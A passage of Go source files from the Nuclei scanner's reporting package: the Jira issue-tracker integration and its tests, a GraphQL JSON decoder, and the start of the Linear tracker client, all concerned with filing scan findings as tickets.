errors.Wrap(err, \"could not add comment to existing issue\")\n\t\t\t}\n\t\t\treturn i.getIssueResponseFromJira(&issue)\n\t\t}\n\t}\n\tresp, err := i.CreateNewIssue(event)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create new issue\")\n\t}\n\treturn resp, nil\n}\n\nfunc (i *Integration) CloseIssue(event *output.ResultEvent) error {\n\tif i.options.StatusNot == \"\" {\n\t\treturn nil\n\t}\n\n\tissue, err := i.FindExistingIssue(event, false)\n\tif err != nil {\n\t\treturn err\n\t} else if issue.ID != \"\" {\n\t\t// Lazy load the transitions ID in case it's not set\n\t\ti.once.Do(func() {\n\t\t\ttransitions, _, err := i.jira.Issue.GetTransitions(issue.ID)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfor _, transition := range transitions {\n\t\t\t\tif transition.Name == i.options.StatusNot {\n\t\t\t\t\ti.transitionID = transition.ID\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t\tif i.transitionID == \"\" {\n\t\t\treturn nil\n\t\t}\n\t\ttransition := jira.CreateTransitionPayload{\n\t\t\tTransition: jira.TransitionPayload{\n\t\t\t\tID: i.transitionID,\n\t\t\t},\n\t\t}\n\n\t\t_, err = i.jira.Issue.DoTransitionWithPayload(issue.ID, transition)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// FindExistingIssue checks if the issue already exists and returns its ID\nfunc (i *Integration) FindExistingIssue(event *output.ResultEvent, useStatus bool) (jira.Issue, error) {\n\ttemplate := format.GetMatchedTemplateName(event)\n\tproject := i.options.ProjectName\n\tif i.options.ProjectID != \"\" {\n\t\tproject = i.options.ProjectID\n\t}\n\tjql := fmt.Sprintf(\"summary ~ \\\"%s\\\" AND summary ~ \\\"%s\\\" AND project = \\\"%s\\\"\", template, event.Host, project)\n\tif useStatus {\n\t\tjql = fmt.Sprintf(\"%s AND status != \\\"%s\\\"\", jql, i.options.StatusNot)\n\t}\n\n\t// Hotfix for Jira Cloud: use Enhanced Search API (v3) to avoid deprecated v2 path\n\tif i.options.Cloud {\n\t\tparams := url.Values{}\n\t\tparams.Set(\"jql\", jql)\n\t\tparams.Set(\"maxResults\", \"1\")\n\t\tparams.Set(\"fields\", \"id,key\")\n\n\t\treq, err := i.jira.NewRequest(\"GET\", \"/rest/api/3/search/jql\"+\"?\"+params.Encode(), nil)\n\t\tif err != nil {\n\t\t\treturn jira.Issue{}, err\n\t\t}\n\n\t\tvar searchResult struct {\n\t\t\tIssues []struct {\n\t\t\t\tID  string `json:\"id\"`\n\t\t\t\tKey string `json:\"key\"`\n\t\t\t} `json:\"issues\"`\n\t\t\tIsLast        bool   `json:\"isLast\"`\n\t\t\tNextPageToken string `json:\"nextPageToken\"`\n\t\t}\n\n\t\tresp, err := i.jira.Do(req, &searchResult)\n\t\tif err != nil {\n\t\t\tvar data string\n\t\t\tif resp != nil && resp.Body != nil {\n\t\t\t\td, _ := io.ReadAll(resp.Body)\n\t\t\t\tdata = string(d)\n\t\t\t}\n\t\t\treturn jira.Issue{}, fmt.Errorf(\"%w => %s\", err, data)\n\t\t}\n\n\t\tif len(searchResult.Issues) == 0 {\n\t\t\treturn jira.Issue{}, nil\n\t\t}\n\t\tfirst := searchResult.Issues[0]\n\t\tbase := strings.TrimRight(i.options.URL, \"/\")\n\t\treturn jira.Issue{\n\t\t\tID:   first.ID,\n\t\t\tKey:  first.Key,\n\t\t\tSelf: fmt.Sprintf(\"%s/rest/api/3/issue/%s\", base, first.ID),\n\t\t}, nil\n\t}\n\n\tsearchOptions := &jira.SearchOptionsV2{\n\t\tMaxResults: 1, // if any issue exists, then we won't create a new one\n\t\tFields:     []string{\"summary\", \"description\", \"issuetype\", \"status\", \"priority\", \"project\"},\n\t}\n\n\tissues, resp, err := i.jira.Issue.SearchV2JQL(jql, searchOptions)\n\tif err != nil {\n\t\tvar data string\n\t\tif resp != nil && resp.Body != nil {\n\t\t\td, _ := io.ReadAll(resp.Body)\n\t\t\tdata = string(d)\n\t\t}\n\t\treturn jira.Issue{}, fmt.Errorf(\"%w => %s\", err, data)\n\t}\n\n\tswitch resp.Total {\n\tcase 0:\n\t\treturn jira.Issue{}, nil\n\tcase 1:\n\t\treturn issues[0], nil\n\tdefault:\n\t\tgologger.Warning().Msgf(\"Discovered multiple opened issues %s for the host %s: The issue [%s] will be updated.\", template, event.Host, issues[0].ID)\n\t\treturn issues[0], nil\n\t}\n}\n\n// ShouldFilter determines if an issue should be logged to this tracker\nfunc (i *Integration) ShouldFilter(event *output.ResultEvent) bool {\n\tif i.options.AllowList != nil && !i.options.AllowList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\tif i.options.DenyList != nil && i.options.DenyList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\treturn true\n}\n"
  },
  {
    "path": "pkg/reporting/trackers/jira/jira_test.go",
    "content": "package jira\n\nimport (\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype recordingTransport struct {\n\tinner http.RoundTripper\n\tpaths []string\n}\n\nfunc (rt *recordingTransport) RoundTrip(req *http.Request) (*http.Response, error) {\n\tif rt.inner == nil {\n\t\trt.inner = http.DefaultTransport\n\t}\n\trt.paths = append(rt.paths, req.URL.Path)\n\treturn rt.inner.RoundTrip(req)\n}\n\nfunc TestLinkCreation(t *testing.T) {\n\tjiraIntegration := &Integration{}\n\tlink := jiraIntegration.CreateLink(\"ProjectDiscovery\", \"https://projectdiscovery.io\")\n\trequire.Equal(t, \"[ProjectDiscovery|https://projectdiscovery.io]\", link)\n}\n\nfunc TestHorizontalLineCreation(t *testing.T) {\n\tjiraIntegration := &Integration{}\n\thorizontalLine := jiraIntegration.CreateHorizontalLine()\n\trequire.True(t, strings.Contains(horizontalLine, \"----\"))\n}\n\nfunc TestTableCreation(t *testing.T) {\n\tjiraIntegration := &Integration{}\n\n\ttable, err := jiraIntegration.CreateTable([]string{\"key\", \"value\"}, [][]string{\n\t\t{\"a\", \"b\"},\n\t\t{\"c\"},\n\t\t{\"d\", \"e\"},\n\t})\n\n\trequire.Nil(t, err)\n\texpected := `| key | value |\n| a | b |\n| c |  |\n| d | e |\n`\n\trequire.Equal(t, expected, table)\n}\n\nfunc Test_ShouldFilter_Tracker(t *testing.T) {\n\tjiraIntegration := &Integration{\n\t\toptions: &Options{AllowList: &filters.Filter{\n\t\t\tSeverities: severity.Severities{severity.Critical},\n\t\t}},\n\t}\n\n\trequire.False(t, jiraIntegration.ShouldFilter(&output.ResultEvent{Info: model.Info{\n\t\tSeverityHolder: severity.Holder{Severity: severity.Info},\n\t}}))\n\trequire.True(t, jiraIntegration.ShouldFilter(&output.ResultEvent{Info: model.Info{\n\t\tSeverityHolder: severity.Holder{Severity: severity.Critical},\n\t}}))\n\n\tt.Run(\"deny-list\", func(t *testing.T) {\n\t\tjiraIntegration := &Integration{\n\t\t\toptions: &Options{DenyList: &filters.Filter{\n\t\t\t\tSeverities: severity.Severities{severity.Critical},\n\t\t\t}},\n\t\t}\n\n\t\trequire.True(t, jiraIntegration.ShouldFilter(&output.ResultEvent{Info: model.Info{\n\t\t\tSeverityHolder: severity.Holder{Severity: severity.Info},\n\t\t}}))\n\t\trequire.False(t, jiraIntegration.ShouldFilter(&output.ResultEvent{Info: model.Info{\n\t\t\tSeverityHolder: severity.Holder{Severity: severity.Critical},\n\t\t}}))\n\t})\n}\n\nfunc TestTemplateEvaluation(t *testing.T) {\n\tevent := &output.ResultEvent{\n\t\tHost: \"example.com\",\n\t\tInfo: model.Info{\n\t\t\tName:           \"Test vulnerability\",\n\t\t\tSeverityHolder: severity.Holder{Severity: severity.Critical},\n\t\t\tClassification: &model.Classification{\n\t\t\t\tCVSSScore:   9.8,\n\t\t\t\tCVEID:       stringslice.StringSlice{Value: []string{\"CVE-2023-1234\"}},\n\t\t\t\tCWEID:       stringslice.StringSlice{Value: []string{\"CWE-79\"}},\n\t\t\t\tCVSSMetrics: \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n\t\t\t},\n\t\t},\n\t}\n\n\tintegration := &Integration{}\n\n\tt.Run(\"conditional template\", func(t *testing.T) {\n\t\ttemplateStr := `{{if eq .Severity \"critical\"}}11187{{else if eq .Severity \"high\"}}11186{{else if eq .Severity \"medium\"}}11185{{else}}11184{{end}}`\n\t\tresult, err := integration.evaluateCustomFieldValue(templateStr, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"11187\", result)\n\t})\n\n\tt.Run(\"freeform description template\", func(t *testing.T) {\n\t\ttemplateStr := `Vulnerability detected by Nuclei. Name: {{.Name}}, Severity: {{.Severity}}, Host: {{.Host}}`\n\t\tresult, err := integration.evaluateCustomFieldValue(templateStr, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\texpected := \"Vulnerability detected by Nuclei. Name: Test vulnerability, Severity: critical, Host: example.com\"\n\t\trequire.Equal(t, expected, result)\n\t})\n\n\tt.Run(\"legacy variable syntax\", func(t *testing.T) {\n\t\tresult, err := integration.evaluateCustomFieldValue(\"$Severity\", buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"critical\", result)\n\n\t\tresult, err = integration.evaluateCustomFieldValue(\"$Host\", buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"example.com\", result)\n\t})\n\n\tt.Run(\"complex template with conditionals\", func(t *testing.T) {\n\t\ttemplateStr := `{{.Name}} on {{.Host}}\n{{if .CVSSScore}}CVSS: {{.CVSSScore}}{{end}}\n{{if eq .Severity \"critical\"}}⚠️ CRITICAL{{else}}Standard{{end}}`\n\t\tresult, err := integration.evaluateCustomFieldValue(templateStr, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Contains(t, result, \"Test vulnerability on example.com\")\n\t\trequire.Contains(t, result, \"CVSS: 9.80\")\n\t\trequire.Contains(t, result, \"⚠️ CRITICAL\")\n\t})\n\n\tt.Run(\"no template syntax\", func(t *testing.T) {\n\t\tresult, err := integration.evaluateCustomFieldValue(\"plain text\", buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"plain text\", result)\n\t})\n\n\tt.Run(\"template functions\", func(t *testing.T) {\n\t\t// Test case conversion functions\n\t\tresult, err := integration.evaluateCustomFieldValue(\"{{.Severity | upper}}\", buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"CRITICAL\", result)\n\n\t\tresult, err = integration.evaluateCustomFieldValue(\"{{.Name | lower}}\", buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"test vulnerability\", result)\n\n\t\tresult, err = integration.evaluateCustomFieldValue(\"{{.Name | title}}\", buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"Test Vulnerability\", result)\n\n\t\t// Test string check functions\n\t\tresult, err = integration.evaluateCustomFieldValue(`{{if contains .Name \"Test\"}}has-test{{else}}no-test{{end}}`, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"has-test\", result)\n\n\t\tresult, err = integration.evaluateCustomFieldValue(`{{if hasPrefix .Host \"example\"}}starts-with-example{{else}}other{{end}}`, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"starts-with-example\", result)\n\n\t\tresult, err = integration.evaluateCustomFieldValue(`{{if hasSuffix .Host \".com\"}}ends-with-com{{else}}other{{end}}`, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"ends-with-com\", result)\n\n\t\t// Test string manipulation functions\n\t\tresult, err = integration.evaluateCustomFieldValue(`{{replace .Name \" \" \"-\"}}`, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"Test-vulnerability\", result)\n\n\t\tresult, err = integration.evaluateCustomFieldValue(`{{trimSpace \" test \"}}`, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"test\", result)\n\n\t\tresult, err = integration.evaluateCustomFieldValue(`{{trim \"...test...\" \".\"}}`, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"test\", result)\n\n\t\t// Test split and join functions\n\t\tresult, err = integration.evaluateCustomFieldValue(`{{join (split .Name \" \") \"-\"}}`, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, \"Test-vulnerability\", result)\n\t})\n\n\tt.Run(\"complex template with functions\", func(t *testing.T) {\n\t\ttemplateStr := `{{.Name | upper}} on {{.Host}}\n{{if contains .Name \"SQL\"}}SQL-INJECTION{{else if contains .Name \"XSS\"}}XSS-ATTACK{{else}}OTHER{{end}}\nPriority: {{if eq .Severity \"critical\"}}{{.Severity | upper}}{{else}}{{.Severity}}{{end}}`\n\t\tresult, err := integration.evaluateCustomFieldValue(templateStr, buildTemplateContext(event), event)\n\t\trequire.NoError(t, err)\n\t\trequire.Contains(t, result, \"TEST VULNERABILITY on example.com\", result)\n\t\trequire.Contains(t, result, \"OTHER\")\n\t\trequire.Contains(t, result, \"CRITICAL\")\n\t})\n}\n\n// Live test to verify SearchV2JQL hits /rest/api/3/search/jql when creds are provided via env\nfunc TestJiraLive_SearchV2UsesJqlEndpoint(t *testing.T) {\n\tjiraURL := os.Getenv(\"JIRA_URL\")\n\tjiraEmail := os.Getenv(\"JIRA_EMAIL\")\n\tjiraAccountID := os.Getenv(\"JIRA_ACCOUNT_ID\")\n\tjiraToken := os.Getenv(\"JIRA_TOKEN\")\n\tjiraPAT := os.Getenv(\"JIRA_PAT\")\n\tjiraProjectName := os.Getenv(\"JIRA_PROJECT_NAME\")\n\tjiraProjectID := os.Getenv(\"JIRA_PROJECT_ID\")\n\tjiraStatusNot := os.Getenv(\"JIRA_STATUS_NOT\")\n\tjiraCloud := os.Getenv(\"JIRA_CLOUD\")\n\n\tif jiraURL == \"\" || (jiraPAT == \"\" && jiraToken == \"\") || (jiraEmail == \"\" && jiraAccountID == \"\") || (jiraProjectName == \"\" && jiraProjectID == \"\") {\n\t\tt.Skip(\"live Jira test skipped: missing JIRA_* env vars\")\n\t}\n\n\tstatusNot := jiraStatusNot\n\tif statusNot == \"\" {\n\t\tstatusNot = \"Done\"\n\t}\n\n\tisCloud := !strings.EqualFold(jiraCloud, \"false\") && jiraCloud != \"0\"\n\n\trec := &recordingTransport{}\n\trc := retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)\n\trc.HTTPClient.Transport = rec\n\n\topts := &Options{\n\t\tCloud:               isCloud,\n\t\tURL:                 jiraURL,\n\t\tEmail:               jiraEmail,\n\t\tAccountID:           jiraAccountID,\n\t\tToken:               jiraToken,\n\t\tPersonalAccessToken: jiraPAT,\n\t\tProjectName:         jiraProjectName,\n\t\tProjectID:           jiraProjectID,\n\t\tIssueType:           \"Task\",\n\t\tStatusNot:           statusNot,\n\t\tHttpClient:          rc,\n\t}\n\n\tintegration, err := New(opts)\n\trequire.NoError(t, err)\n\n\tevent := &output.ResultEvent{\n\t\tHost: \"example.com\",\n\t\tInfo: model.Info{\n\t\t\tName:           \"Nuclei Live Verify\",\n\t\t\tSeverityHolder: severity.Holder{Severity: severity.Low},\n\t\t},\n\t}\n\n\t_, _ = integration.FindExistingIssue(event, true)\n\n\tvar hitSearchV2 bool\n\tfor _, p := range rec.paths {\n\t\tif strings.HasSuffix(p, \"/rest/api/3/search/jql\") {\n\t\t\thitSearchV2 = true\n\t\t\tbreak\n\t\t}\n\t}\n\trequire.True(t, hitSearchV2, \"expected client to call /rest/api/3/search/jql, got paths: %v\", rec.paths)\n}\n"
  },
  {
    "path": "pkg/reporting/trackers/linear/jsonutil/jsonutil.go",
    "content": "// Package jsonutil provides a function for decoding JSON\n// into a GraphQL query data structure.\n//\n// Taken from: https://github.com/shurcooL/graphql/blob/ed46e5a4646634fc16cb07c3b8db389542cc8847/internal/jsonutil/graphql.go\npackage jsonutil\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"reflect\"\n\t\"strings\"\n\n\tsonic \"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// UnmarshalGraphQL parses the JSON-encoded GraphQL response data and stores\n// the result in the GraphQL query data structure pointed to by v.\n//\n// The implementation is created on top of the JSON tokenizer available\n// in \"encoding/json\".Decoder.\nfunc UnmarshalGraphQL(data []byte, v any) error {\n\tdec := json.NewDecoder(bytes.NewReader(data))\n\tdec.UseNumber()\n\terr := (&decoder{tokenizer: dec}).Decode(v)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttok, err := dec.Token()\n\tswitch err {\n\tcase io.EOF:\n\t\t// Expect to get io.EOF. There shouldn't be any more\n\t\t// tokens left after we've decoded v successfully.\n\t\treturn nil\n\tcase nil:\n\t\treturn fmt.Errorf(\"invalid token '%v' after top-level value\", tok)\n\tdefault:\n\t\treturn err\n\t}\n}\n\n// decoder is a JSON decoder that performs custom unmarshalling behavior\n// for GraphQL query data structures. It's implemented on top of a JSON tokenizer.\ntype decoder struct {\n\ttokenizer interface {\n\t\tToken() (json.Token, error)\n\t}\n\n\t// Stack of what part of input JSON we're in the middle of - objects, arrays.\n\tparseState []json.Delim\n\n\t// Stacks of values where to unmarshal.\n\t// The top of each stack is the reflect.Value where to unmarshal next JSON value.\n\t//\n\t// The reason there's more than one stack is because we might be unmarshalling\n\t// a single JSON value into multiple GraphQL fragments or embedded structs, so\n\t// we keep track of them all.\n\tvs [][]reflect.Value\n}\n\n// Decode decodes a single JSON value from d.tokenizer into v.\nfunc (d *decoder) Decode(v any) error {\n\trv := reflect.ValueOf(v)\n\tif rv.Kind() != reflect.Ptr {\n\t\treturn fmt.Errorf(\"cannot decode into non-pointer %T\", v)\n\t}\n\td.vs = [][]reflect.Value{{rv.Elem()}}\n\treturn d.decode()\n}\n\n// decode decodes a single JSON value from d.tokenizer into d.vs.\nfunc (d *decoder) decode() error {\n\t// The loop invariant is that the top of each d.vs stack\n\t// is where we try to unmarshal the next JSON value we see.\n\tfor len(d.vs) > 0 {\n\t\ttok, err := d.tokenizer.Token()\n\t\tif err == io.EOF {\n\t\t\treturn errors.New(\"unexpected end of JSON input\")\n\t\t} else if err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch {\n\n\t\t// Are we inside an object and seeing next key (rather than end of object)?\n\t\tcase d.state() == '{' && tok != json.Delim('}'):\n\t\t\tkey, ok := tok.(string)\n\t\t\tif !ok {\n\t\t\t\treturn errors.New(\"unexpected non-key in JSON input\")\n\t\t\t}\n\t\t\tsomeFieldExist := false\n\t\t\tfor i := range d.vs {\n\t\t\t\tv := d.vs[i][len(d.vs[i])-1]\n\t\t\t\tif v.Kind() == reflect.Ptr {\n\t\t\t\t\tv = v.Elem()\n\t\t\t\t}\n\t\t\t\tvar f reflect.Value\n\t\t\t\tif v.Kind() == reflect.Struct {\n\t\t\t\t\tf = fieldByGraphQLName(v, key)\n\t\t\t\t\tif f.IsValid() {\n\t\t\t\t\t\tsomeFieldExist = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\td.vs[i] = append(d.vs[i], f)\n\t\t\t}\n\t\t\tif !someFieldExist {\n\t\t\t\treturn fmt.Errorf(\"struct field for %q doesn't exist in any of %v places to unmarshal\", key, len(d.vs))\n\t\t\t}\n\n\t\t\t// We've just consumed the current token, which was the key.\n\t\t\t// Read the next token, which should be the value, and let the rest of code process it.\n\t\t\ttok, err = d.tokenizer.Token()\n\t\t\tif err == io.EOF {\n\t\t\t\treturn errors.New(\"unexpected end of JSON input\")\n\t\t\t} else if err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t// Are we inside an array and seeing next value (rather than end of array)?\n\t\tcase d.state() == '[' && tok != json.Delim(']'):\n\t\t\tsomeSliceExist := false\n\t\t\tfor i := range d.vs {\n\t\t\t\tv := d.vs[i][len(d.vs[i])-1]\n\t\t\t\tif v.Kind() == reflect.Ptr {\n\t\t\t\t\tv = v.Elem()\n\t\t\t\t}\n\t\t\t\tvar f reflect.Value\n\t\t\t\tif v.Kind() == reflect.Slice {\n\t\t\t\t\tv.Set(reflect.Append(v, reflect.Zero(v.Type().Elem()))) // v = append(v, T).\n\t\t\t\t\tf = v.Index(v.Len() - 1)\n\t\t\t\t\tsomeSliceExist = true\n\t\t\t\t}\n\t\t\t\td.vs[i] = append(d.vs[i], f)\n\t\t\t}\n\t\t\tif !someSliceExist {\n\t\t\t\treturn fmt.Errorf(\"slice doesn't exist in any of %v places to unmarshal\", len(d.vs))\n\t\t\t}\n\t\t}\n\n\t\tswitch tok := tok.(type) {\n\t\tcase string, json.Number, bool, nil:\n\t\t\t// Value.\n\n\t\t\tfor i := range d.vs {\n\t\t\t\tv := d.vs[i][len(d.vs[i])-1]\n\t\t\t\tif !v.IsValid() {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\terr := unmarshalValue(tok, v)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\td.popAllVs()\n\n\t\tcase json.Delim:\n\t\t\tswitch tok {\n\t\t\tcase '{':\n\t\t\t\t// Start of object.\n\n\t\t\t\td.pushState(tok)\n\n\t\t\t\tfrontier := make([]reflect.Value, len(d.vs)) // Places to look for GraphQL fragments/embedded structs.\n\t\t\t\tfor i := range d.vs {\n\t\t\t\t\tv := d.vs[i][len(d.vs[i])-1]\n\t\t\t\t\tfrontier[i] = v\n\t\t\t\t\t// TODO: Do this recursively or not? Add a test case if needed.\n\t\t\t\t\tif v.Kind() == reflect.Ptr && v.IsNil() {\n\t\t\t\t\t\tv.Set(reflect.New(v.Type().Elem())) // v = new(T).\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Find GraphQL fragments/embedded structs recursively, adding to frontier\n\t\t\t\t// as new ones are discovered and exploring them further.\n\t\t\t\tfor len(frontier) > 0 {\n\t\t\t\t\tv := frontier[0]\n\t\t\t\t\tfrontier = frontier[1:]\n\t\t\t\t\tif v.Kind() == reflect.Ptr {\n\t\t\t\t\t\tv = v.Elem()\n\t\t\t\t\t}\n\t\t\t\t\tif v.Kind() != reflect.Struct {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tfor i := 0; i < v.NumField(); i++ {\n\t\t\t\t\t\tif isGraphQLFragment(v.Type().Field(i)) || v.Type().Field(i).Anonymous {\n\t\t\t\t\t\t\t// Add GraphQL fragment or embedded struct.\n\t\t\t\t\t\t\td.vs = append(d.vs, []reflect.Value{v.Field(i)})\n\t\t\t\t\t\t\tfrontier = append(frontier, v.Field(i))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tcase '[':\n\t\t\t\t// Start of array.\n\n\t\t\t\td.pushState(tok)\n\n\t\t\t\tfor i := range d.vs {\n\t\t\t\t\tv := d.vs[i][len(d.vs[i])-1]\n\t\t\t\t\t// TODO: Confirm this is needed, write a test case.\n\t\t\t\t\t//if v.Kind() == reflect.Ptr && v.IsNil() {\n\t\t\t\t\t//\tv.Set(reflect.New(v.Type().Elem())) // v = new(T).\n\t\t\t\t\t//}\n\n\t\t\t\t\t// Reset slice to empty (in case it had non-zero initial value).\n\t\t\t\t\tif v.Kind() == reflect.Ptr {\n\t\t\t\t\t\tv = v.Elem()\n\t\t\t\t\t}\n\t\t\t\t\tif v.Kind() != reflect.Slice {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tv.Set(reflect.MakeSlice(v.Type(), 0, 0)) // v = make(T, 0, 0).\n\t\t\t\t}\n\t\t\tcase '}', ']':\n\t\t\t\t// End of object or array.\n\t\t\t\td.popAllVs()\n\t\t\t\td.popState()\n\t\t\tdefault:\n\t\t\t\treturn errors.New(\"unexpected delimiter in JSON input\")\n\t\t\t}\n\t\tdefault:\n\t\t\treturn errors.New(\"unexpected token in JSON input\")\n\t\t}\n\t}\n\treturn nil\n}\n\n// pushState pushes a new parse state s onto the stack.\nfunc (d *decoder) pushState(s json.Delim) {\n\td.parseState = append(d.parseState, s)\n}\n\n// popState pops a parse state (already obtained) off the stack.\n// The stack must be non-empty.\nfunc (d *decoder) popState() {\n\td.parseState = d.parseState[:len(d.parseState)-1]\n}\n\n// state reports the parse state on top of stack, or 0 if empty.\nfunc (d *decoder) state() json.Delim {\n\tif len(d.parseState) == 0 {\n\t\treturn 0\n\t}\n\treturn d.parseState[len(d.parseState)-1]\n}\n\n// popAllVs pops from all d.vs stacks, keeping only non-empty ones.\nfunc (d *decoder) popAllVs() {\n\tvar nonEmpty [][]reflect.Value\n\tfor i := range d.vs {\n\t\td.vs[i] = d.vs[i][:len(d.vs[i])-1]\n\t\tif len(d.vs[i]) > 0 {\n\t\t\tnonEmpty = append(nonEmpty, d.vs[i])\n\t\t}\n\t}\n\td.vs = nonEmpty\n}\n\n// fieldByGraphQLName returns an exported struct field of struct v\n// that matches GraphQL name, or invalid reflect.Value if none found.\nfunc fieldByGraphQLName(v reflect.Value, name string) reflect.Value {\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tif v.Type().Field(i).PkgPath != \"\" {\n\t\t\t// Skip unexported field.\n\t\t\tcontinue\n\t\t}\n\t\tif hasGraphQLName(v.Type().Field(i), name) {\n\t\t\treturn v.Field(i)\n\t\t}\n\t}\n\treturn reflect.Value{}\n}\n\n// hasGraphQLName reports whether struct field f has GraphQL name.\nfunc hasGraphQLName(f reflect.StructField, name string) bool {\n\tvalue, ok := f.Tag.Lookup(\"graphql\")\n\tif !ok {\n\t\t// TODO: caseconv package is relatively slow. Optimize it, then consider using it here.\n\t\t//return caseconv.MixedCapsToLowerCamelCase(f.Name) == name\n\t\treturn strings.EqualFold(f.Name, name)\n\t}\n\tvalue = strings.TrimSpace(value) // TODO: Parse better.\n\tif strings.HasPrefix(value, \"...\") {\n\t\t// GraphQL fragment. It doesn't have a name.\n\t\treturn false\n\t}\n\t// Cut off anything that follows the field name,\n\t// such as field arguments, aliases, directives.\n\tif i := strings.IndexAny(value, \"(:@\"); i != -1 {\n\t\tvalue = value[:i]\n\t}\n\treturn strings.TrimSpace(value) == name\n}\n\n// isGraphQLFragment reports whether struct field f is a GraphQL fragment.\nfunc isGraphQLFragment(f reflect.StructField) bool {\n\tvalue, ok := f.Tag.Lookup(\"graphql\")\n\tif !ok {\n\t\treturn false\n\t}\n\tvalue = strings.TrimSpace(value) // TODO: Parse better.\n\treturn strings.HasPrefix(value, \"...\")\n}\n\n// unmarshalValue unmarshals JSON value into v.\n// v must be addressable and not obtained by the use of unexported\n// struct fields, otherwise unmarshalValue will panic.\nfunc unmarshalValue(value json.Token, v reflect.Value) error {\n\tb, err := sonic.Marshal(value) // TODO: Short-circuit (if profiling says it's worth it).\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn sonic.Unmarshal(b, v.Addr().Interface())\n}\n"
  },
  {
    "path": "pkg/reporting/trackers/linear/linear.go",
    "content": "package linear\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\n\t\"github.com/shurcooL/graphql\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/format\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear/jsonutil\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Integration is a client for linear issue tracker integration\ntype Integration struct {\n\turl        string\n\thttpclient *http.Client\n\toptions    *Options\n}\n\n// Options contains the configuration options for linear issue tracker client\ntype Options struct {\n\t// APIKey is the API key for linear account.\n\tAPIKey string `yaml:\"api-key\" validate:\"required\"`\n\n\t// AllowList contains a list of allowed events for this tracker\n\tAllowList *filters.Filter `yaml:\"allow-list\"`\n\t// DenyList contains a list of denied events for this tracker\n\tDenyList *filters.Filter `yaml:\"deny-list\"`\n\n\t// TeamID is the team id for the project\n\tTeamID string `yaml:\"team-id\"`\n\t// ProjectID is the project id for the project\n\tProjectID string `yaml:\"project-id\"`\n\t// DuplicateIssueCheck is a bool to enable duplicate tracking issue check and update the newest\n\tDuplicateIssueCheck bool `yaml:\"duplicate-issue-check\" default:\"false\"`\n\n\t// OpenStateID is the id of the open state for the project\n\tOpenStateID string `yaml:\"open-state-id\"`\n\n\tHttpClient *retryablehttp.Client `yaml:\"-\"`\n\tOmitRaw    bool                  `yaml:\"-\"`\n}\n\n// New creates a new issue tracker integration client based on options.\nfunc New(options *Options) (*Integration, error) 